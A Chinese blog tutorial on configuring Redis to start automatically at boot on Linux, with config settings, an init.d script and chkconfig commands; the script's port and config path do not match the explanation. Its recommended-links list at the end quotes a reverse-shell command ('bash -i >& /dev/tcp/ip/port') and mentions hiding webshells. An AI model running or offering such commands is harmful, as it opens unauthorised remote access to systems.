redis自启动配置详解
一、概述
1.1原理
redis自启动的工作原理是怎么样的呢?Linux系统启动后,会有一个程序去特定目录下面扫描文件,然后执行这些文件,这些文件可称之为脚本。所以,你可以把你的工作写成一个脚本,放到指定路径下(etc/init.d)。所以,你要做的,就是把执行启动redis实例的工作编写成脚本,让Linux系统去给你执行即可。
1.2简述
配置自启动,大概需要三个步骤
1. 编辑实例对应的配置文件,同一台机器上,可以有启动多个redis实例,所以对应着多个配置文件。同时每个实例有自己的工作路径,如果共用工作路径,那么配置文件很多项目项要配置成不同,以免冲突,所以建议方法可以设置不同的工作路径。
2.编辑一个自启动脚本,然后把脚本复制到etc/init.d目录下。因为Linux系统启动后,会有一个程序自动去扫描这个路径下的文件,然后执行它们。
3.执行命令生效、测试。
二、编辑redis配置文件
2.1配置文件命名
在redis目录下有一个redis.conf文件,复制一份,建议按端口名命名,如6379.conf,规则是,首先,需要与第三章中的脚本里面的配置一致,其次,不同实例对应不同的配置文件,不能搞混了,然后用vi对文件进行编辑。
2.2编辑配置文件
以下把需要注意的项加以说明
首先把redis配置成值守进程,这样redis运行后将在后台运行,如下:
daemonize yes
当以值守进程模式运行的时候,redis sever把自己的pid写入到缺省文件“/var/run/redis.pid”下,这里,你需要自定义文件名,几个redis实例,不能弄成一样,Linux系统是通过这个文件来判断一个进程是否运行与关闭,如下:
pidfile /var/run/redis_6379.pid
Redis实例用于接收客户端连接的TCP监听端口默认是6379,如果配置成0,将不会开启TCP监听服务。在此可自定义端口,此端口与后续的脚本配置的相关项需要一致。
port 6379
Redis server缺省情况下是接收所有本服务器所有网卡的请求,但是也可以通过指定IP来绑定网卡,可以绑定多个,用空格隔开,如下:
bind 192.168.1.100 10.0.0.1
bind 127.0.0.1
存放快照文件的文件名,默认是dump.rdb,可以自定义文件名,扩展名你就别动它了。如果你需要启动多个redis实例,同时多个实例又共用同一个工作路径,那么此文件名必须不一样。
dbfilename dump.rdb
以上(第4节)只是设置的文件名,而非路径,通过命令dir可以指定路径,文件将按指定路径与指定的文件名存储。同时AOF(Append Only File)也是参照此路径的。多实例可以共用此路径,如果共用工作路径,那其他配置需要配置成不同,以防冲突,所以建议设置成不同工作路径,这样就避免了这些问题。
dir ./
指定输入日志信息的文件,如果为空,将从标准输出窗口输出,同时又设置了守护进程模式的话,将会把日志记录到/dev/null。它只是文件名,不包含路径。
logfile ""
三、处理脚本
3.1复制脚本
redis/utils目录下有一个redis_init_script文件,把它复制一份到etc/init.d路径下,建议把文件名改成与redis实例端口相关,如6379端口的这个脚本名,在etc/init.d路径下改成6379redisd。
3.2编辑脚本
对2.1节复制到/etc/init.d路径下的脚本进行编辑,如下:
#!/bin/sh
#
# Simple Redis init.d script conceived to work on Linux systems
# as it does use of the /proc filesystem.
# chkconfig: 2345 90 10
# description: Redis is a persistent key-value database
REDISIP=localhost
REDISPORT=31001
EXEC=/usr/local/bin/redis-server
CLIEXEC=/usr/local/bin/redis-cli
PIDFILE=/var/run/redis_${REDISPORT}.pid
CONF="/etc/redis/${REDISPORT}.conf"
case "$1" in
start)
if [ -f $PIDFILE ]
then
echo "$PIDFILE exists, process is already running or crashed"
else
echo "Starting Redis server..."
$EXEC $CONF
fi
;;
stop)
if [ ! -f $PIDFILE ]
then
echo "$PIDFILE does not exist, process is not running"
else
PID=$(cat $PIDFILE)
echo "Stopping ..."
$CLIEXEC -h $REDISIP -p $REDISPORT shutdown
while [ -x /proc/${PID} ]
do
echo "Waiting for Redis to shutdown ..."
sleep 1
done
echo "Redis stopped"
fi
;;
*)
echo "Please use start or stop as first argument"
;;
esac
下面对以上脚本进行说明
REDISPORT=6379
这应该只是定义的一个变量,现在装用到它,建议redis实例用什么端口,这个地方就配置什么端口,如果一个服务器多实例的话,这必须配置成不一样。
EXEC=/usr/local/bin/redis-server
你的redis-server的路径,如果你redis源码编译后执行过make install并成功后,redis-server在/usr/local/bin/路径下将会有redis-server的链接,或者,以后配置需要直接配置成你redis-server所在的真实的路径。
CLIEXEC=/usr/local/bin/redis-cli
redis-cli所在的路径,由redis-server一样,如果你redis源码编译后执行过make install并成功后,redis-cli在/usr/local/bin/路径下将会有redis-cli的链接,或者,以后配置需要直接配置成你redis-cli所在的真实的路径。这样,在linux下可直接敲redis-cli命令,而不用指定路径了,可以把它当成平常的命令来执行。
PIDFILE=/var/run/redis_${REDISPORT}.pid
这个是pid文件路径,当redis实例设置成值守模式(daemonize)后,启动后会生成一个pid文件,在哪里生成,文件名是什么,需要在redis的config文件里配置。所以当你一个服务器中有多个redis实例时,这个文件名需要不一样,不然会带来麻烦。所以此配置项要与redis的配置文件里面配置项一致,关于redis配置文件里面的相关想,参见后续章节。
CONF="/usr/local/src/redis/${REDISPORT}.conf"
指定redis实例的配置文件的路径,同服务器不同的redis实例需要不同的配置文件,这个需要注意,不能弄成一样的,不然启动会有成功的。
脚本的后续部分,可以不用管它,不需要修改。
添加项:
# chkconfig: 2345 90 10
# description: Redis is a persistent key-value database
在脚本的开头第四行,即“# as it does use of the /proc filesystem.”的一行插入以上两段代码,不然,后面执行命令的时候,会提示权限问题。
四、启动生效
#设置为开机自启动服务器(redisd为/etc/init.d/目录下刚才自己建立的脚本名称,下同)
chkconfig redisd on
#打开服务,用于测试服务是否有效
service redisd start
#关闭服务
service redisd stop
#重启系统,测试是否生效
reboot
系统重启后,检查redis实例是否如预期启动
redis-cli –h 你设置的IP –p 你设置的端口
redis自启动配置详解的更多相关文章
- redis.conf 配置详解
# Redis 配置文件 # 当配置中需要配置内存大小时,可以使用 1k, 5GB, 4M 等类似的格式,其转换方式如下(不区分大小写) # # 1k => 1000 bytes # 1kb = ...
- redis.conf 配置详解 (转)
# Redis 配置文件 # 当配置中需要配置内存大小时,可以使用 1k, 5GB, 4M 等类似的格式,其转换方式如下(不区分大小写)## 1k => 1000 bytes# 1kb => ...
- Redis错误配置详解
在使用Redis做缓存时,应用往往能得到非常高的性能.然而,如果配置不当,你将遇到很多令人头疼的问题,比如复制缓冲区限制.复制超时等. Redis提供了许多提高和维护高效内存数据库使用的工具.在无需额 ...
- redis的配置详解
redis 127.0.0.1:6379> CONFIG GET loglevel 1) "loglevel" 2) "notice" Redis 的配置 ...
- redis.conf配置详解(转)
# redis 配置文件示例 # 当你需要为某个配置项指定内存大小的时候,必须要带上单位,# 通常的格式就是 1k 5gb 4m 等酱紫:## 1k => 1000 bytes# 1kb =&g ...
- 【Redis学习之二】Redis:redis.conf 配置详解
参数说明redis.conf 配置项说明如下:1. Redis默认不是以守护进程的方式运行,可以通过该配置项修改,使用yes启用守护进程 daemonize no2. 当Redis以守护进程方式运行 ...
- redis.conf 配置 详解 中文 2.8
# redis version 2.8.19 # 1k => 1000 bytes# 1kb => 1024 bytes# 1m => 1000000 bytes# 1m ...
- redis.conf配置详解
http://www.2cto.com/database/201307/225113.html
- redis配置详解
##redis配置详解 # Redis configuration file example. # # Note that in order to read the configuration fil ...
随机推荐
- 13. linux渗透之反弹shell
实验环境 CentOS 6.5:192.168.0.3 kali2.0:192.168.0.4 方法1: 反弹shell命令如下: bash -i >& /dev/tcp/ip/port ...
- 10. windows下原来可以这样隐藏webshell
1.利用保留字隐藏 windows系统有些保留文件夹名,windows系统不允许用这些名字命名文件夹,如 aux|prn|con|nul|com1|com2|com3|com4|com5|com6|c ...
- 实验楼的php比赛题,网页数据提取。
实验楼的php比赛题,网页数据提取. 题目的地址:https://www.shiyanlou.com/contests/lou5/challenges 以下代码是题目的答案 <?php head ...
- VMware S/4 HANA OP 1511虚拟机下载,64G内存限制解决方案
http://www.itpub.net/thread-2057212-1-1.html S4 HANA OP 1511 Scale Out
- hdu 4336 Card Collector (概率dp+位运算 求期望)
题目链接 Card Collector Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Othe ...
- Docker Compose 多容器应用
Docker Compose是一个用来定义并运行复杂应用程序的工具.用Compose,你可以在一个文件中定义多个容器应用程序,然后只需一条命令就可以完成使其运行所需的所有操作. 一个使用Docker容 ...
- 再论c#获取存储过程返回值(包括SqlSugar)
其实这个问题好多年以前研究过: https://blog.csdn.net/xpnew/article/details/6909902 最近因为需要统计日结月结,给同事写了一套调用存储过程的代码.同时 ...
- pandas基础(1)_Series和DataFrame
1:pandas简介 Python Data Analysis Library 或 pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的.Pandas 纳入了大量库和一些标 ...
- cat命令详解及here doc
以下内容转自:http://www.cnblogs.com/peida/archive/2012/10/30/2746968.html cat命令的用途是连接文件或标准输入并打印.这个命令常用来显示文 ...
- angular实现表格的全选、单选、部分删除以及全部删除
昨天自己写了一小段js,在全选的时候有点儿小坑,然后,整理了一下.今天把它贴出来,希望以后还记得. 大家也可以去github上查看或下载:https://github.com/dreamITGirl/ ...